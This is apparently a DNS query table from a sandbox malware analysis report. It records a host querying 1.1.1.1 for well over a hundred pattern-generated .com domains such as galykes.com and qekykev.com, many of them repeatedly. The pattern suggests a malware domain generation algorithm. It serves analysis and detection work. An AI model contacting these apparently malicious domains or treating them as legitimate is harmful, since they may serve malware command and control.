                                                                                                                                                                                                          Aug 23, 2024 18:43:03.575539112 CEST192.168.2.51.1.1.10x62caStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.575697899 CEST192.168.2.51.1.1.10xf21eStandard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.575886011 CEST192.168.2.51.1.1.10x3b2eStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.585859060 CEST192.168.2.51.1.1.10x28dcStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.586194992 CEST192.168.2.51.1.1.10x2d31Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.586365938 CEST192.168.2.51.1.1.10x356bStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.586855888 CEST192.168.2.51.1.1.10x5e6dStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.587583065 CEST192.168.2.51.1.1.10x4f1Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.587827921 CEST192.168.2.51.1.1.10x96efStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.609638929 CEST192.168.2.51.1.1.10x7a03Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.609910965 CEST192.168.2.51.1.1.10xf323Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.611067057 CEST192.168.2.51.1.1.10x4065Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612018108 CEST192.168.2.51.1.1.10xa651Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612225056 CEST192.168.2.51.1.1.10x28b2Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612380981 CEST192.168.2.51.1.1.10xc834Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612718105 CEST192.168.2.51.1.1.10x61e8Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612951040 CEST192.168.2.51.1.1.10x57c7Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.612976074 CEST192.168.2.51.1.1.10xd641Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613156080 CEST192.168.2.51.1.1.10x8e93Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613200903 CEST192.168.2.51.1.1.10xb14Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613281965 CEST192.168.2.51.1.1.10x8047Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613316059 CEST192.168.2.51.1.1.10xca93Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613559961 CEST192.168.2.51.1.1.10xa395Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613571882 CEST192.168.2.51.1.1.10x96f1Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613801003 CEST192.168.2.51.1.1.10xbc9eStandard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.613883018 CEST192.168.2.51.1.1.10xd2cdStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614042997 CEST192.168.2.51.1.1.10xf1a6Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614192963 CEST192.168.2.51.1.1.10x7caeStandard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614231110 CEST192.168.2.51.1.1.10x2296Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614339113 CEST192.168.2.51.1.1.10xb523Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614517927 CEST192.168.2.51.1.1.10x7c4bStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614552021 CEST192.168.2.51.1.1.10xc75cStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614733934 CEST192.168.2.51.1.1.10xb462Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614978075 CEST192.168.2.51.1.1.10x496dStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.614994049 CEST192.168.2.51.1.1.10x1c74Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.615159988 CEST192.168.2.51.1.1.10x1223Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.621700048 CEST192.168.2.51.1.1.10xb24fStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.621758938 CEST192.168.2.51.1.1.10xfde0Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.630985022 CEST192.168.2.51.1.1.10x6a36Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.631162882 CEST192.168.2.51.1.1.10x6d21Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.631316900 CEST192.168.2.51.1.1.10x7f1cStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.631450891 CEST192.168.2.51.1.1.10x3b2eStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.631671906 CEST192.168.2.51.1.1.10xe2e8Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.631911993 CEST192.168.2.51.1.1.10x4132Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632046938 CEST192.168.2.51.1.1.10x393aStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632183075 CEST192.168.2.51.1.1.10xef99Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632313967 CEST192.168.2.51.1.1.10x3159Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632441998 CEST192.168.2.51.1.1.10x1852Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632586956 CEST192.168.2.51.1.1.10xa401Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632725000 CEST192.168.2.51.1.1.10x9247Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.632864952 CEST192.168.2.51.1.1.10x1b0aStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633044958 CEST192.168.2.51.1.1.10xb9f4Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633187056 CEST192.168.2.51.1.1.10x5f7cStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633318901 CEST192.168.2.51.1.1.10xfdeaStandard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633461952 CEST192.168.2.51.1.1.10xbde0Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633621931 CEST192.168.2.51.1.1.10x5ba6Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633747101 CEST192.168.2.51.1.1.10x42a7Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.633884907 CEST192.168.2.51.1.1.10x2b96Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.634083033 CEST192.168.2.51.1.1.10xe909Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.634215117 CEST192.168.2.51.1.1.10x9a00Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.634457111 CEST192.168.2.51.1.1.10x6b3bStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.634592056 CEST192.168.2.51.1.1.10xb546Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.634850025 CEST192.168.2.51.1.1.10x612Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.635010958 CEST192.168.2.51.1.1.10x6239Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.635226011 CEST192.168.2.51.1.1.10x1ac2Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.635375023 CEST192.168.2.51.1.1.10xf747Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.635598898 CEST192.168.2.51.1.1.10xd707Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.635860920 CEST192.168.2.51.1.1.10xb5c6Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636116028 CEST192.168.2.51.1.1.10xb04bStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636265039 CEST192.168.2.51.1.1.10x51fdStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636401892 CEST192.168.2.51.1.1.10x27b6Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636559963 CEST192.168.2.51.1.1.10xdb3aStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636821032 CEST192.168.2.51.1.1.10xa966Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.636975050 CEST192.168.2.51.1.1.10xbaf4Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637142897 CEST192.168.2.51.1.1.10xb796Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637326956 CEST192.168.2.51.1.1.10xc544Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637484074 CEST192.168.2.51.1.1.10x44c8Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637664080 CEST192.168.2.51.1.1.10xd3baStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637818098 CEST192.168.2.51.1.1.10xb009Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.637979984 CEST192.168.2.51.1.1.10xd08Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.638216019 CEST192.168.2.51.1.1.10x3b41Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.638504028 CEST192.168.2.51.1.1.10xa9acStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.638814926 CEST192.168.2.51.1.1.10x3fc8Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.688738108 CEST192.168.2.51.1.1.10xb15bStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.689682961 CEST192.168.2.51.1.1.10xc68cStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.690074921 CEST192.168.2.51.1.1.10x9249Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.690501928 CEST192.168.2.51.1.1.10x2f0aStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.690923929 CEST192.168.2.51.1.1.10x4aa8Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.691229105 CEST192.168.2.51.1.1.10x3ce6Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.691494942 CEST192.168.2.51.1.1.10xea59Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.691646099 CEST192.168.2.51.1.1.10x4130Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.691838980 CEST192.168.2.51.1.1.10x42b6Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.692228079 CEST192.168.2.51.1.1.10x7378Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.692493916 CEST192.168.2.51.1.1.10xd6eaStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.692747116 CEST192.168.2.51.1.1.10x6ad6Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.692990065 CEST192.168.2.51.1.1.10x6c15Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.693141937 CEST192.168.2.51.1.1.10x8ea3Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.693484068 CEST192.168.2.51.1.1.10x8c31Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.694334030 CEST192.168.2.51.1.1.10xfee7Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.694662094 CEST192.168.2.51.1.1.10x56b1Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.701884985 CEST192.168.2.51.1.1.10xe9ceStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.702312946 CEST192.168.2.51.1.1.10xc250Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.702799082 CEST192.168.2.51.1.1.10x4b04Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.702970982 CEST192.168.2.51.1.1.10x86b5Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.703850985 CEST192.168.2.51.1.1.10x4a7Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.704088926 CEST192.168.2.51.1.1.10x3e61Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.704814911 CEST192.168.2.51.1.1.10x2716Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.704961061 CEST192.168.2.51.1.1.10x3efbStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.705106974 CEST192.168.2.51.1.1.10xbbc9Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.705257893 CEST192.168.2.51.1.1.10xb7dbStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.705411911 CEST192.168.2.51.1.1.10xc48cStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.725159883 CEST192.168.2.51.1.1.10x4385Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.725317955 CEST192.168.2.51.1.1.10xd80aStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.725796938 CEST192.168.2.51.1.1.10xbf6Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.726485014 CEST192.168.2.51.1.1.10xdab1Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.726624966 CEST192.168.2.51.1.1.10x105cStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.727029085 CEST192.168.2.51.1.1.10xc6c3Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.727554083 CEST192.168.2.51.1.1.10x65b6Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.727806091 CEST192.168.2.51.1.1.10x8bb7Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.728174925 CEST192.168.2.51.1.1.10x66e2Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.741302013 CEST192.168.2.51.1.1.10xcafbStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.741462946 CEST192.168.2.51.1.1.10xfeedStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.741626024 CEST192.168.2.51.1.1.10x28d1Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.743180990 CEST192.168.2.51.1.1.10x5246Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.743451118 CEST192.168.2.51.1.1.10x9ffbStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.743823051 CEST192.168.2.51.1.1.10x607Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.744005919 CEST192.168.2.51.1.1.10xeeebStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.744149923 CEST192.168.2.51.1.1.10x124cStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.744290113 CEST192.168.2.51.1.1.10x2fe1Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.744479895 CEST192.168.2.51.1.1.10x9a6cStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.744679928 CEST192.168.2.51.1.1.10xfddStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.776149035 CEST192.168.2.51.1.1.10xb09eStandard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:03.789659977 CEST192.168.2.51.1.1.10x9e5dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:04.367557049 CEST192.168.2.51.1.1.10x269bStandard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:04.439201117 CEST192.168.2.51.1.1.10x7b39Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.796789885 CEST192.168.2.51.1.1.10xdac7Standard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.798980951 CEST192.168.2.51.1.1.10xc89aStandard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.800812006 CEST192.168.2.51.1.1.10x642cStandard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.802519083 CEST192.168.2.51.1.1.10x5e59Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.804316998 CEST192.168.2.51.1.1.10x1c02Standard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.806286097 CEST192.168.2.51.1.1.10x793eStandard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.808192015 CEST192.168.2.51.1.1.10x2febStandard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.809916019 CEST192.168.2.51.1.1.10x5aa1Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.812623978 CEST192.168.2.51.1.1.10x8eddStandard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.814306974 CEST192.168.2.51.1.1.10xc12bStandard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.816147089 CEST192.168.2.51.1.1.10x356dStandard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.818232059 CEST192.168.2.51.1.1.10x2ea0Standard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.820238113 CEST192.168.2.51.1.1.10xbf73Standard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.821754932 CEST192.168.2.51.1.1.10x9ddfStandard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.823281050 CEST192.168.2.51.1.1.10x76b3Standard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.924679995 CEST192.168.2.51.1.1.10x71dfStandard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.925075054 CEST192.168.2.51.1.1.10x398fStandard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.925581932 CEST192.168.2.51.1.1.10xdf76Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.929527998 CEST192.168.2.51.1.1.10xd174Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.930022001 CEST192.168.2.51.1.1.10x8cadStandard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.930253983 CEST192.168.2.51.1.1.10xaea7Standard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.930438995 CEST192.168.2.51.1.1.10x55Standard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.932519913 CEST192.168.2.51.1.1.10xcc1dStandard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.932734013 CEST192.168.2.51.1.1.10xc2f2Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.933109045 CEST192.168.2.51.1.1.10x5e52Standard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.933352947 CEST192.168.2.51.1.1.10x9a76Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.933604956 CEST192.168.2.51.1.1.10xa7b4Standard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.933624983 CEST192.168.2.51.1.1.10x87d7Standard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.933837891 CEST192.168.2.51.1.1.10xb6f7Standard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934011936 CEST192.168.2.51.1.1.10x11eaStandard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934083939 CEST192.168.2.51.1.1.10xc556Standard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934273005 CEST192.168.2.51.1.1.10x8cdaStandard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934447050 CEST192.168.2.51.1.1.10x4856Standard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934631109 CEST192.168.2.51.1.1.10xf0a8Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934712887 CEST192.168.2.51.1.1.10xc303Standard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.934899092 CEST192.168.2.51.1.1.10xd649Standard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.935096025 CEST192.168.2.51.1.1.10x3ee2Standard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.935375929 CEST192.168.2.51.1.1.10x8822Standard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.935411930 CEST192.168.2.51.1.1.10xe3b5Standard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.935596943 CEST192.168.2.51.1.1.10x99Standard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.935790062 CEST192.168.2.51.1.1.10xc983Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.936141014 CEST192.168.2.51.1.1.10x5151Standard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.936461926 CEST192.168.2.51.1.1.10x4fa8Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.936645031 CEST192.168.2.51.1.1.10x6025Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.936939955 CEST192.168.2.51.1.1.10xdbafStandard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.937238932 CEST192.168.2.51.1.1.10x9035Standard query (0)pujydag.comA (IP address)IN (0x0001)false
